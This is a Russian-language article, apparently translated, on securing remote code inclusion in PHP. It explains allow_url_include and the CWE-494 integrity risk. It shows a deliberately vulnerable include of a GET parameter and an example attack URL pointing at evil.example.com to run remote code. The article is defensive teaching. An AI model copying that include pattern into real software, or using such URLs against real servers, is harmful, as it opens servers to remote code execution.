Статьи

Укрепление PHP: как безопасно включить удаленный код (часть 1)


Первый пост серии, в котором обсуждаются различные способы включения удаленного PHP-кода в ваше приложение — с точки зрения безопасности.
В этом посте мы обсудим историю уязвимостей удаленного выполнения кода в PHP-приложениях и способы их предотвращения. В заключение мы представим небезопасный метод включения удаленного кода и опишем, в чем заключается проблема с этим методом.

Вступление

Приложения PHP с ранних дней часто страдали от уязвимостей удаленного выполнения кода. Некоторые недостатки дизайна в самом языке (например, возможность включения файла из удаленного URL) и отсутствие знаний у разработчиков PHP — все это способствовало возникновению проблемы. Общий источник этого был замечен в самодельных CMS, где вы могли найти такие отрывки:

$file = $_GET['page'];
include $file . '.php';

Конечно, это, очевидно, имеет уязвимость удаленного выполнения кода — если злоумышленник использовал
? Page = http: //evil.example.com/evil_script, он может запустить любой код на сервере. То есть, если PHP оставить с настройкой по умолчанию
allow_url_fopen . Однако изменение параметра
allow_url_fopen в значение
false не позволяет легко открывать все удаленные файлы (например, изображения для изменения масштаба), а не только код, поэтому обычно для него оставляют значение по умолчанию.

allow_url_include

К счастью, в PHP 5.2 появился новый параметр конфигурации —
allow_url_include . Это значение по умолчанию предотвращает включение файла из удаленного местоположения (возможны только локальные URI протокола файла):

// PHP 5.2 - allow_url_include = "0"
// you can still open files by URL
echo file_get_contents('http://www.google.com/image.png');
include '/path/to/file.php'; // this is ok
include 'http://example.com/src/file.php'; // this will fail

Благодаря этому шагу была исправлена ​​самая распространенная ошибка удаленного выполнения кода в PHP-приложениях. По умолчанию включение (и выполнение) кода с удаленного URI запрещено. Конечно, это все еще возможно, но обычно это происходит из-за того, что авторы приложений вводят некоторые интересные функции, позволяющие загружать удаленный код (например, для обновления плагинов и т. Д.).

Но мне нужен удаленный код!

Сейчас 2010 год, в Интернете сейчас 2.0 — у нас есть распределенные приложения, облачные вычисления, рекламные серверы, компоненты приложений, плагины, социальные сети, гибридные приложения и т. Д. Удаленное распространение кода становится популярной потребностью приложений PHP. В настоящее время PHP работает не только на одном сервере — приложения развертываются на серверных фермах, в облаке, распространяются среди ваших клиентов, запускаются на
настольном компьютере — и даже на вашем
телефоне Android !

Разрешив удаленный код, вы можете:

  • создать приложение с обновляемыми плагинами
  • разрешите вашим приложениям загружать свои модули по проводам
  • автоматически устанавливать дополнительные плагины на основе, например, файла лицензии клиента

и множество других вещей, но …

В этой распределенной среде безопасность становится критически важной. Как я узнаю, что код, который мне дали (или я скачал), заслуживает доверия? Как я знаю, что это не было подделано? Давайте сначала посмотрим, как этого не делать:

Наивный путь — жестко закодированное местоположение

Давайте представим, что у нас есть простой сценарий:

Здесь у нас есть 2 сервера — потребитель (
client.example.net ) и производитель (
code.example.com ). Клиент загружает код PHP с сервера, сохраняет его локально (
без защиты allow_url_include ) и
включает его. Код загружается из жесткого кода, так что мы должны быть в безопасности, верно? На самом деле, нет. Мы слепо верим, что сервер, идентифицируемый доменным именем, содержит «наш» код, но это не всегда так:

У клиента неправильные записи DNS — эффективно загружается код из местоположения злоумышленников. Атаки на повторное связывание DNS — это только один из методов, можно использовать атаку «человек посередине», использовать мошеннический прокси и т. Д.

Не верьте имени хоста!

Проблема в том, что мы доверяли имени хоста сервера,
а не
самому коду . Поэтому, если кто-то может выступить в качестве
code.example.com для нашего приложения, мы будем слепо принимать все, что он может предложить.

Чтобы защитить от подобных атак (и безопасно использовать удаленный код), нам нужно выполнить какую-то проверку целостности кода перед его выполнением. Если нет, то у нас есть
CWE-494: уязвимость загрузки кода без проверки целостности . Как сделать проверку? Ну что ж — зацените
второй пост серии 😉